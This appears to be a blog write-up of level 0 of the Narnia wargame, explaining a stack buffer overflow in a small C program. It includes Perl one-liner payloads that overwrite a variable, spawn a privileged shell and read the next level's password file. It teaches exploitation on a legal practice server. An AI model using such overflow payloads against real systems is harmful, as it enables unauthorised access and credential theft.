Hacking: The Narnia Wargames, Level 0: A Simple Buffer Overflow.
I have been meaning to start a series of posts about some of the legal online hacking challenges, or "wargames", for some time now. I have a series of writeups in the works for the Natas web challenges, but given I just bought a copy of Binary Ninja, a reverse engineering tool, using Bitcoin, I figured I'd get started by writing up some of the easier memory corruption/binary exploitation challenges. So today I'll explain how the first level of the Narnia wargame works. It is an incredibly simple one, just a simple overwrite, so I won't get too far into the nitty gritty details.
While I would like to, ideally, explain everything here, I decided against that. Instead, I'd advise you, the reader, to read up on C programming, x86 assembly language, the x86 instruction set architecture, the x86 memory model, and stack buffer overflows. While understanding all of these should not be necessary to get the "general idea" of the stuff outlined in this blog post, it would help you greatly with properly understanding what is going on here.
To access the narnia wargames, one simply uses ssh to login to the "narnia0" account on "narnia.labs.overthewire.org", port 2226, like so (assuming a Linux or OSX system. You can use PuTTY or whatever on Windows.)
ssh -lnarnia0 -p2226 narnia.labs.overthewire.org
In order to get to level 1, etc, you must beat level 0. When you defeat a level, you can access the SSH password for the next level, and so on.
Here is the source code of the challenge. It is incredibly simple, we have to find a way to write the value 0xdeadbeef
over the value 0x41414141
stored in the long (a type of variable) named val
by writing out of bounds of the fixed buffer buf
, which has a length of 20 bytes.
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
So we start by understanding that we need to find a way to make the following check succeed so we can spawn a shell.
if(val==0xdeadbeef)
system("/bin/sh"); // our goal is to get to here :)
else {
...
For the more visual minded, here is a control-flow graph of the executable, generated using Binary Ninja. It pretty simply explains how the flow of execution works.
We also know that val
was previously set to a long of 0x41414141
. We also know that user input is accepted by the scanf
function, and stored in a fixed-length buffer, buf
, of size 20. It should be fairly obvious that we can overflow this buffer, as the scanf
function is well known to suffer buffer overflows. The buffer used by scanf
is sent on to printf
, so we are fairly sure we can do something here.
Here is what happens if we feed it a string of length 24 (4 longer than the buffer we want to overflow). I use a simple Perl oneliner to generate the string, and then pipe it to the target program. Note that we send "B" (hex code: 0x42) as the last 4.
$ perl -e 'print "A"x20;print "B"x4'|./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAABBBB
val: 0x42424242
WAY OFF!!!!
$
So, our last 4 characters, "BBBB", ended up overwriting the val
variable. This proves to us that yes, this is a super trivial overflow and should not take us long to exploit.
Now, we know we can control the value of "val" using our trivial write primitive. We can write any value we want to it. Our goal, is to set it to "0xdeadbeef", so that we can spawn a shell.
In order to do this, we must remember that it is little endian, and we are going to have to craft the correct kind of input string to get the job done.
In order to properly represent the value "0xdeadbeef", we have to send the following: \xef\xbe\xad\xde
. Basically... We just reverse shit, and represent it as escaped hex. If you print this using perl -e "print '\xef\xbe\xad\xde'"
, it will print non-printable binary garbage. So, we will see if our exploit works.
$ perl -e 'print "A"x20;print "\xef\xbe\xad\xde"'|./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
$
Houston, we have a problem. We managed to successfully do the overwrite, but we can't seem to get the shell to pop. The reason for this is actually incredibly simple, as far as I can understand. Because of how we used a pipe, the shell pops, but we never get to it. Turns out, if we follow our perl one-liner up with the "cat" command, the shell will remain open for us...
Note how our "euid" changes, and we are able to access the password (which I have redacted) for the next level.
narnia0@narnia:/narnia$ id
uid=14000(narnia0) gid=14000(narnia0) groups=14000(narnia0)
narnia0@narnia:/narnia$ (perl -e 'print "A"x20;print "\xef\xbe\xad\xde"';cat)|./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
id
uid=14000(narnia0) gid=14000(narnia0) euid=14001(narnia1) groups=14001(narnia1),14000(narnia0)
cat /etc/narnia_pass/narnia1
[REDACTED]
So, there we go! We exploited a simple overwrite vulnerability to beat the first level of the game!
I'll probably continue on with this series, and will make an attempt to post at least one writeup every couple of days. Any feedback or suggestions is highly desirable, along with any questions, which I will endeavour to answer!